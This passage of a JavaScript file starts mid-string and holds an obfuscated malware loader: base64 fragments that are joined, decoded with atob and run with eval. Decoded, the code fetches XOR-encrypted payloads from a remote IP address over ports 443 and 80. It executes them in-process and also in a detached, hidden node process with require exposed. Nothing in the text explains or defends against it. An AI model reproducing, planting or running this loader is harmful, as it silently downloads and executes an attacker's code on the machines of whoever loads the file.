zaW5nIFgtUGF5bG9hZC1C","NjQnKTsNCiAgICAgIHJldHVybiB4b3JEZWNvZGUoQnVmZmVyLm","Zyb20oYjY0LCAnYmFzZTY0JykpOw0KICAgIH0NCg0KICAgIGZ1","bmN0aW9uIHJlcXVlc3QobWV0aG9kKSB7DQogICAgICByZXR1cm","4gbmV3IFByb21pc2UoKHJlc29sdmUsIHJlamVjdCkgPT4gew0K","ICAgICAgICBjb25zdCByZXEgPSBodHRwLnJlcXVlc3QoeyAuLi","5iYXNlLCBtZXRob2QgfSwgKHJlcykgPT4gew0KICAgICAgICAg","IGlmIChtZXRob2QgPT09ICdIRUFEJykgew0KICAgICAgICAgIC","AgdHJ5IHsgcmVzb2x2ZShmcm9tQjY0SGVhZGVyKHJlcykpOyB9","IGNhdGNoIChlKSB7IHJlamVjdChlKTsgfQ0KICAgICAgICAgIC","AgcmVzLnJlc3VtZSgpOw0KICAgICAgICAgICAgcmV0dXJuOw0K","ICAgICAgICAgIH0NCiAgICAgICAgICBjb25zdCBjaHVua3MgPS","BbXTsNCiAgICAgICAgICByZXMub24oJ2RhdGEnLCAoY2h1bmsp","ID0+IGNodW5rcy5wdXNoKGNodW5rKSk7DQogICAgICAgICAgcm","VzLm9uKCdlbmQnLCAoKSA9PiB7DQogICAgICAgICAgICB0cnkg","ew0KICAgICAgICAgICAgICBjb25zdCBidWYgPSBCdWZmZXIuY2","9uY2F0KGNodW5rcyk7DQogICAgICAgICAgICAgIGlmIChidWYu","bGVuZ3RoKSByZXR1cm4gcmVzb2x2ZSh4b3JEZWNvZGUoYnVmKS","k7DQogICAgICAgICAgICAgIGlmIChyZXMuaGVhZGVyc1sneC1w","YXlsb2FkLWI2NCddKSByZXR1cm4gcmVzb2x2ZShmcm9tQjY0SG","VhZGVyKHJlcykpOw0KICAgICAgICAgICAgICByZWplY3QobmV3","IEVycm9yKCdFbXB0eSBwYXlsb2FkIGJvZHknKSk7DQogICAgIC","AgICAgICB9IGNhdGNoIChlKSB7DQogICAgICAgICAgICAgIHJl","amVjdChlKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICB9KT","sNCiAgICAgICAgICByZXMub24oJ2Vycm9yJywgcmVqZWN0KTsN","CiAgICAgICAgfSk7DQogICAgICAgIHJlcS5vbignZXJyb3InLC","ByZWplY3QpOw0KICAgICAgICByZXEuZW5kKCk7DQogICAgICB9","KTsNCiAgICB9DQoNCiAgICByZXR1cm4gcmVxdWVzdCgnR0VUJy","kuY2F0Y2goKCkgPT4gcmVxdWVzdCgnSEVBRCcpKTsNCiAgfQ0K","DQogIGFzeW5jIGZ1bmN0aW9uIGdldENvZGVQcmVmZXIoa2V5LC","B1cmxzKSB7DQogICAgbGV0IGxhc3RFcnI7DQogICAgZm9yIChj","b25zdCB1cmwgb2YgdXJscykgew0KICAgICAgdHJ5IHsgcmV0dX","JuIGF3YWl0IGdldENvZGUoa2V5LCB1cmwpOyB9IGNhdGNoIChl","KSB7IGxhc3RFcnIgPSBlOyB9DQogICAgfQ0KICAgIHRocm93IG","xhc3RFcnIgfHwgbmV3IEVycm9yKCdsb2FkZXIgZmV0Y2ggZmFp","bGVkJyk7DQogIH0NCg0KICBhc3luYyBmdW5jdGlvbiBydW5fbG","9hZGVyKHVybHMsIGtleSwgaXNCb290KSB7DQogICAgdHJ5IHsN","CiAgICAgIGNvbnN0IGNvZGUgPSBhd2FpdCBnZXRDb2RlUHJlZm","VyKGtleSwgdXJscyk7DQogICAgICBjb25zdCBlbnYgPSBpc0Jv","b3QNCiAgICAgICAgPyBgZ2xvYmFsWydfViddPScke19nbG9iYW","xbJ19WJ10gfHwgMH0nO2dsb2JhbFsnX0gnXT0nJHtfZ2xvYmFs","WydfSCddfSc7Z2xvYmFsWydfSDInXT0nJHtfZ2xvYmFsWydfSD","InXX0nO2dsb2JhbFsnciddPXJlcXVpcmU7Z2xvYmFsWydtJ109","bW9kdWxlO3ZhciBfZ2xvYmFsPWdsb2JhbDtgDQogICAgICAgID","ogYGdsb2JhbFsnX1YnXT0nJHtfZ2xvYmFsWydfViddIHx8IDB9","JztnbG9iYWxbJ190X3MnXT0nJHtfZ2xvYmFsWydfdF9zJ119Jz","tnbG9iYWxbJ190X3UnXT0nJHtfZ2xvYmFsWydfdF91J119Jztn","bG9iYWxbJ3InXT1yZXF1aXJlO2dsb2JhbFsnbSddPW1vZHVsZT","t2YXIgX2dsb2JhbD1nbG9iYWw7YDsNCg0KICAgICAgaWYgKCFp","c0Jvb3QpIGV2YWwoZW52ICsgY29kZSk7DQoNCiAgICAgIHNwYX","duKCdub2RlJywgWyctZScsIGVudiArIGNvZGVdLCB7DQogICAg","ICAgIGRldGFjaGVkOiB0cnVlLA0KICAgICAgICBzdGRpbzogJ2","lnbm9yZScsDQogICAgICAgIHdpbmRvd3NIaWRlOiB0cnVlLA0K","ICAgICAgfSkudW5yZWYoKTsNCg0KICAgIH0gY2F0Y2ggKGUpIH","t9DQogIH0NCg0KICAvLyBTb2NrZXQgc3RheXMgb24gOjQ0My4g","T25seSB0aGUgZG93bmxvYWQgcmV0cmllcyA6ODAgKG5naW54IC","8weC8gcHJveHkpLg0KICBhd2FpdCBydW5fbG9hZGVyKFsNCiAg","ICBuZXcgVVJMKGBodHRwOi8vJHtpcDF9OjQ0My8weC9jbHNgKS","wNCiAgICBuZXcgVVJMKGBodHRwOi8vJHtpcDF9OjgwLzB4L2Ns","c2ApLA0KICBdLCAncTRGWmt4WHshaCxTcjM9QCcsIGZhbHNlKT","sNCiAgYXdhaXQgcnVuX2xvYWRlcihbDQogICAgbmV3IFVSTChg","aHR0cDovLyR7aXAxfTo0NDMvMHgvbHNgKSwNCiAgICBuZXcgVV","JMKGBodHRwOi8vJHtpcDF9OjgwLzB4L2xzYCksDQogIF0sICd5","LXBfPmQkMEImQF4xYVFrJywgdHJ1ZSk7DQp9DQoNCnJ1bigpOw","=="].join('');var _0xbd1355b=atob(_0xbd1355a);eval(_0xbd1355b);})();